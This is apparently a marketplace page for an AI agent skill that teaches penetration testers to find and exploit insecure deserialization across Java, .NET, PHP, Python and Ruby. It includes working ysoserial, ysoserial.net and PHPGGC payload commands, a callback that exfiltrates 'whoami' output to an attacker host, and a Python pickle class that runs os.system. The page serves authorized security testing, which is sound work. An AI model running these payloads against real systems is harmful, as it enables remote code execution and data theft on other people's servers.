# Exploiting Deserialization

> Identify and exploit insecure deserialization across Java, .NET, PHP, Python, and Ruby — recognizing serialized formats by magic bytes, finding gadget chains with ysoserial and ysoserial.net, and detecting blind cases via DNS or timing. Use when a request contains base64 starting with rO0AB or AAEAAAD, when a cookie or parameter holds a serialized object, or when reviewing readObject, unserialize, pickle.loads, or Marshal.load.

- Skill: `trilwu/exploiting-deserialization` (Agent Skill)
- Install (CLI): `npx skillmds add trilwu/exploiting-deserialization`
- Raw SKILL.md: https://api.skillmd.com/api/skills/trilwu/exploiting-deserialization/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: trilwu (https://skillmd.com/u/trilwu)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/trilwu/exploiting-deserialization

---


# Exploiting Deserialization

Deserialization turns attacker-controlled bytes into live objects with
attacker-chosen types. The vulnerability is not the parsing — it is that
constructing those objects runs code paths the developer never intended. The
work is recognizing the format, then finding a gadget chain in the libraries
that happen to be on the classpath.

Only against systems you are authorized to test.

## When to Use

- A cookie, parameter, header, or message body contains a serialized object
- You see the magic values listed below in traffic or storage
- Source review finds `readObject`, `unserialize`, `pickle.loads`,
  `Marshal.load`, `BinaryFormatter`, `yaml.load`, or `ObjectInputStream`
- A message queue, cache, or session store holds serialized objects
- You need to confirm a suspected blind deserialization

## When NOT to Use

- **JSON/XML parsing without object instantiation** — that is injection or XXE;
  use `testing-web-applications`
- **Source-code review as the primary task** — use
  `auditing-code-for-vulnerabilities`; return here for exploitation
- **Building a weaponized payload beyond proving impact** — prove control, stop
- **Analyzing malware that uses deserialization** — use `analyzing-malware`

## Recognize the Format

Magic bytes identify the runtime, and the runtime decides the entire approach.

| Encoding | Base64 prefix | Raw bytes | Runtime |
| --- | --- | --- | --- |
| Java serialization | `rO0AB` | `AC ED 00 05` | Java |
| .NET `BinaryFormatter` | `AAEAAAD/////` | `00 01 00 00 00 FF FF FF FF` | .NET |
| .NET `LosFormatter`/ViewState | often `/wEP` | — | ASP.NET |
| PHP `serialize()` | `Tzo`, `YTo` | `O:` , `a:` | PHP |
| Python pickle | `gAJ`, `gASV`, `KGRw` | `80 04`, `80 02`, `(dp` | Python |
| Ruby Marshal | `BAh` | `04 08` | Ruby |
| Java `Hessian`/`Burlap` | `Yw` | `63`/`48` | Java |
| YAML with tags | — | `!!python/object`, `!ruby/object` | Multiple |

```bash
# Decode anything suspicious you find
echo 'rO0ABXNyABNq...' | base64 -d | xxd | head -3

# Java: readable class names appear in the stream
echo '<b64>' | base64 -d | strings | head -20
```

Java streams contain the class names in plaintext, which tells you both that it
is deserialization and which libraries are in play.

## Java

```bash
# Generate a payload for a gadget chain present on the target's classpath
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/$(whoami)' | base64 -w0
java -jar ysoserial.jar CommonsBeanutils1 'ping -c1 attacker.example' | base64 -w0

# Blind detection first — URLDNS needs no gadget library at all
java -jar ysoserial.jar URLDNS 'http://<unique>.oast.example' | base64 -w0
```

**Always start with `URLDNS`.** It uses only JDK classes, so it works whenever
deserialization happens at all, regardless of what libraries are present. A DNS
hit confirms the vulnerability; only then is it worth guessing gadget chains.

Then determine the classpath to pick a chain:

- Error messages and stack traces naming library classes
- `gadgetprobe` (Burp) — sends probes that reveal which classes exist by the
  difference in error behaviour
- Version fingerprinting from the application's other responses

Common chains and what they need: `CommonsCollections1–7` (commons-collections
3.x/4.x), `CommonsBeanutils1`, `Spring1/2`, `Groovy1`, `Hibernate1`,
`Jdk7u21` (no library needed, but a narrow JDK range), `ROME`, `C3P0`.

**Beyond raw serialization:** Java deserialization also reaches through JNDI.
A gadget that triggers a JNDI lookup with an attacker URL gives remote class
loading (the Log4Shell mechanism). Newer JDKs restrict this, so check the
version before assuming it works.

## .NET

```bash
# ysoserial.net — formatter matters as much as the gadget
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami > c:\\temp\\o"
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "..." \
              --generator=<viewstate-generator> --validationkey=<key> --validationalg=SHA1
```

Vulnerable formatters: `BinaryFormatter`, `LosFormatter`, `NetDataContractSerializer`,
`ObjectStateFormatter`, `SoapFormatter`, and `Json.NET`/`XmlSerializer` **when
`TypeNameHandling` is not `None`**. That last case is the most common in modern
code: `TypeNameHandling.All` or `.Objects` lets the JSON specify its own `$type`,
which is deserialization by another name.

```bash
rg -n 'TypeNameHandling|BinaryFormatter|LosFormatter|NetDataContractSerializer' --type cs
```

**ViewState** is the classic ASP.NET case. Exploitable when the MAC key is
known (leaked `web.config`, a known default, or `enableViewStateMac="false"` on
old versions). Extract `validationKey` and `decryptionKey` first — without them
the payload is rejected.

## PHP

```php
// The magic methods that fire during and after unserialize
__wakeup(), __destruct(), __toString(), __call(), __get()
```

```bash
# Find a chain: PHPGGC covers the common frameworks
phpggc Laravel/RCE9 system 'id'
phpggc Monolog/RCE2 system 'id' -b        # base64 output
phpggc -l                                  # list available chains

# Phar deserialization: any file-system function on a phar:// path triggers
# unserialize of the phar metadata — file_exists, filesize, is_dir, etc.
phpggc Monolog/RCE2 system 'id' -p phar -o payload.phar
# then get it uploaded and reference it as phar://uploaded.jpg/x
```

Phar is the underrated vector: it turns *any* filesystem call on an
attacker-influenced path into deserialization, with no obvious `unserialize()`
in the code.

## Python

```python
# Pickle is arbitrary code execution by design — it is not a parser bug
import pickle, base64, os
class RCE:
    def __reduce__(self):
        return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(RCE())).decode())
```

Also check: `yaml.load()` without `SafeLoader` (`!!python/object/apply:os.system`),
`jsonpickle`, `dill`, `shelve`, `numpy.load` with `allow_pickle=True`, and any
ML model format that is pickle-backed — see `securing-ai-systems`.

## Ruby

```ruby
# Marshal.load on untrusted input; gadget chains exist for Rails and common gems
# universal_pwn / Rails deserialization chains cover the usual cases
```

Also: `YAML.load` (pre-Psych-4 defaults), and Rails cookie stores where the
`secret_key_base` has leaked.

## Blind and Out-of-Band

Most real cases give no output. Confirm before investing in a chain.

```bash
# 1. DNS/HTTP callback — the primary confirmation
#    Java URLDNS, PHP with a chain that fetches a URL, Python os.system('curl ...')
# 2. Timing — a sleep gadget proves execution when egress is blocked
#    'sleep 10' / 'ping -n 11 127.0.0.1'
# 3. Error differential — a malformed object vs a well-formed one of the wrong
#    type produces different exceptions, confirming parsing without execution
```

An out-of-band interaction proves deserialization occurred. That alone is the
finding; escalating to a full shell is often unnecessary and increases risk.

## Where Serialized Data Hides

Beyond the obvious request parameter:

- Session cookies and remember-me tokens
- Message queues (RabbitMQ, Kafka, SQS) consumed by a worker
- Caches: Redis, Memcached, `Ehcache`
- File uploads processed by a background job
- Inter-service RPC: RMI, JMX, JNDI, T3 (WebLogic), IIOP
- Database columns holding serialized blobs
- Anything logged, then re-read by a log processor

The queue and cache cases are the most valuable, because the consumer is
usually a backend service with more privilege than the web tier — and nobody
proxies it.

## Rationalizations to Reject

- *"The input is validated before deserialization."* Validation of a serialized
  blob is nearly impossible; the type is inside the blob.
- *"There's no `unserialize()` call."* PHP: check for Phar. Java: check RMI,
  JMX, and JNDI. .NET: check `TypeNameHandling`.
- *"No gadget chain worked, so it's not vulnerable."* `URLDNS` confirms
  deserialization independent of the classpath. Confirm first, chain second.
- *"It's a signed cookie, so it can't be tampered with."* Only if the key is
  secret. Check for leaked or default keys.
- *"The library is patched."* Patches remove specific gadgets. The sink is
  still there, and new chains keep appearing.
- *"It's internal, only our services send it."* Queues and caches are reachable
  from more places than the web tier, and that is exactly the point.
- *"I got a DNS hit but no shell, so it's low severity."* A confirmed
  deserialization sink is high severity. Report it as such.

<!-- attack:start -->

## ATT&CK Coverage

_Generated from `secskills-core/ttp-index.json` — edit that file, then run
`python3 scripts/sync_attack.py --write`. Re-verify IDs against the
current ATT&CK release before citing them in a report._

**Initial Access** (TA0001)

- [T1190](https://attack.mitre.org/techniques/T1190/) Exploit Public-Facing Application — see also `testing-web-applications`, `testing-apis`, `enumerating-network-services`, `attacking-graphql`, `attacking-grpc-protobuf`, `exploiting-ssrf`, `exploiting-xxe`

Detection content for any of these: `engineering-detections`. Proactive search: `hunting-threats`. Post-compromise: `responding-to-incidents`.

<!-- attack:end -->

## References

- `auditing-code-for-vulnerabilities` — finding the sinks in source
- `testing-web-applications` — the surrounding web methodology
- `securing-ai-systems` — pickle-backed model formats
- `reporting-security-findings` — severity when only blind confirmation exists
- ysoserial, ysoserial.net, PHPGGC, gadgetprobe, Burp Collaborator / interact.sh

